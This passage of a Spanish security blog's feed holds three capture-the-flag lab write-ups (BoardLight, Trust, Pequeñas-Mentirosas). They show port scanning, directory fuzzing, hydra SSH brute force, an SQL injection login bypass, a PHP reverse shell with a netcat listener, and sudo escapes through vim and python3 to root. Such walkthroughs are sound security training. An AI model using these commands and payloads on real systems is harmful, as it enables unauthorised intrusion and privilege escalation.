<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Subir plantilla con código PHP malicioso</span>
<span class="c"># Ejecutar via preview de la plantilla</span>
</code></pre></div></div>

<p>Obtenemos shell como <code class="language-plaintext highlighter-rouge">www-data</code>.</p>

<h2 id="escalada-a-usuario">Escalada a Usuario</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>find / <span class="nt">-name</span> <span class="s2">"*.conf"</span> 2&gt;/dev/null | xargs <span class="nb">grep</span> <span class="nt">-l</span> <span class="s2">"password"</span> 2&gt;/dev/null
</code></pre></div></div>

<p>Credenciales en config de Dolibarr: <code class="language-plaintext highlighter-rouge">larissa:serverfun2$</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh larissa@10.10.11.11
</code></pre></div></div>

<h2 id="escalada-a-root">Escalada a Root</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>find / <span class="nt">-perm</span> <span class="nt">-4000</span> 2&gt;/dev/null
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">/usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys</code> tiene SUID. Explotamos CVE-2022-37706:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./exploit.sh
<span class="c"># root@boardlight:~# </span>
</code></pre></div></div>]]></content><author><name>iamEscri</name></author><category term="writeup" /><category term="dolibarr" /><category term="rce" /><category term="suid" /><category term="enlightenment" /><summary type="html"><![CDATA[Máquina Linux con Dolibarr vulnerable a RCE. Escalada explotando SUID en Enlightenment.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://iamescri.es/assets/img/og-default.png" /><media:content medium="image" url="https://iamescri.es/assets/img/og-default.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Trust</title><link href="https://iamescri.es/writeup/dockerlabs-trust/" rel="alternate" type="text/html" title="Trust" /><published>2026-04-05T00:00:00+00:00</published><updated>2026-04-05T00:00:00+00:00</updated><id>https://iamescri.es/writeup/dockerlabs-trust</id><content type="html" xml:base="https://iamescri.es/writeup/dockerlabs-trust/"><![CDATA[<h2 id="reconocimiento">Reconocimiento</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sV</span> <span class="nt">-sC</span> <span class="nt">-p-</span> <span class="nt">--min-rate</span> 5000 172.17.0.2
</code></pre></div></div>

<p>Puertos abiertos: 22 (SSH), 80 (HTTP).</p>

<h2 id="enumeración-web">Enumeración Web</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gobuster <span class="nb">dir</span> <span class="nt">-u</span> http://172.17.0.2 <span class="nt">-w</span> /usr/share/wordlists/dirb/common.txt
</code></pre></div></div>

<p>Encontramos <code class="language-plaintext highlighter-rouge">/secret.php</code> con un nombre de usuario: <code class="language-plaintext highlighter-rouge">mario</code>.</p>

<h2 id="fuerza-bruta-ssh">Fuerza Bruta SSH</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>hydra <span class="nt">-l</span> mario <span class="nt">-P</span> /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
</code></pre></div></div>

<p>Credenciales válidas: <code class="language-plaintext highlighter-rouge">mario:chocolate</code>.</p>

<h2 id="acceso-y-escalada">Acceso y Escalada</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ssh mario@172.17.0.2
<span class="nb">sudo</span> <span class="nt">-l</span>
</code></pre></div></div>

<p>El usuario puede ejecutar <code class="language-plaintext highlighter-rouge">/usr/bin/vim</code> como root:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>vim <span class="nt">-c</span> <span class="s1">':!/bin/bash'</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@trust:/# cat /root/root.txt
</code></pre></div></div>]]></content><author><name>iamEscri</name></author><category term="writeup" /><category term="ssh" /><category term="brute-force" /><category term="sudo" /><category term="privesc" /><summary type="html"><![CDATA[Máquina Linux sencilla. Fuerza bruta SSH y escalada de privilegios via sudo mal configurado.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://iamescri.es/assets/img/og-default.png" /><media:content medium="image" url="https://iamescri.es/assets/img/og-default.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Pequeñas-Mentirosas</title><link href="https://iamescri.es/writeup/dockerlabs-pequenas-mentirosas/" rel="alternate" type="text/html" title="Pequeñas-Mentirosas" /><published>2026-03-24T00:00:00+00:00</published><updated>2026-03-24T00:00:00+00:00</updated><id>https://iamescri.es/writeup/dockerlabs-pequenas-mentirosas</id><content type="html" xml:base="https://iamescri.es/writeup/dockerlabs-pequenas-mentirosas/"><![CDATA[<h2 id="reconocimiento">Reconocimiento</h2>

<p>Empezamos con un escaneo de puertos para ver qué tenemos:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nmap <span class="nt">-sV</span> <span class="nt">-sC</span> <span class="nt">-p-</span> <span class="nt">--min-rate</span> 5000 10.10.11.X <span class="nt">-oN</span> scan.txt
</code></pre></div></div>

<p><strong>Resultado:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.51
22/tcp open  ssh     OpenSSH 8.4p1
</code></pre></div></div>

<h2 id="enumeración-web">Enumeración Web</h2>

<p>Accedemos al puerto 80 y encontramos un panel de login. Tiramos feroxbuster para buscar más rutas:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>feroxbuster <span class="nt">-u</span> http://10.10.11.X <span class="nt">-w</span> /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
</code></pre></div></div>

<p>Encontramos <code class="language-plaintext highlighter-rouge">/admin</code>, <code class="language-plaintext highlighter-rouge">/backup</code> y <code class="language-plaintext highlighter-rouge">/config.php</code>.</p>

<h2 id="explotación">Explotación</h2>

<p>El panel de login es vulnerable a SQLi básica:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Usuario: admin' -- -
Password: anything
</code></pre></div></div>

<p>Entramos directamente como admin. Desde el panel podemos subir archivos — subimos una reverse shell PHP.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nc <span class="nt">-lvnp</span> 4444
</code></pre></div></div>

<h2 id="escalada-de-privilegios">Escalada de Privilegios</h2>

<p>Comprobamos sudo:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> <span class="nt">-l</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(ALL) NOPASSWD: /usr/bin/python3
</code></pre></div></div>

<p>¡Perfecto! Escalamos a root:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>python3 <span class="nt">-c</span> <span class="s1">'import os; os.system("/bin/bash")'</span>
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@pequeñas-mentirosas:~# id
uid=0(root) gid=0(root)
</code></pre></div></div>

<h2 id="flags">Flags</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>User: 7a9f3c...
Root: b3e12d...
</code></pre></div></div>]]></content><author><name>iamEscri</name></author><category term="writeup" /><category term="fuzzing" /><category term="sqli" /><category term="privesc" /><category term="sudo" /><category term="Alvaro Escri" /><summary type="html"><![CDATA[Máquina fácil de DockerLabs. Enumeración web, SQLi en login y escalada con sudo.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://iamescri.es/assets/img/og-default.png" /><media:content medium="image" url="https://iamescri.es/assets/img/og-default.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>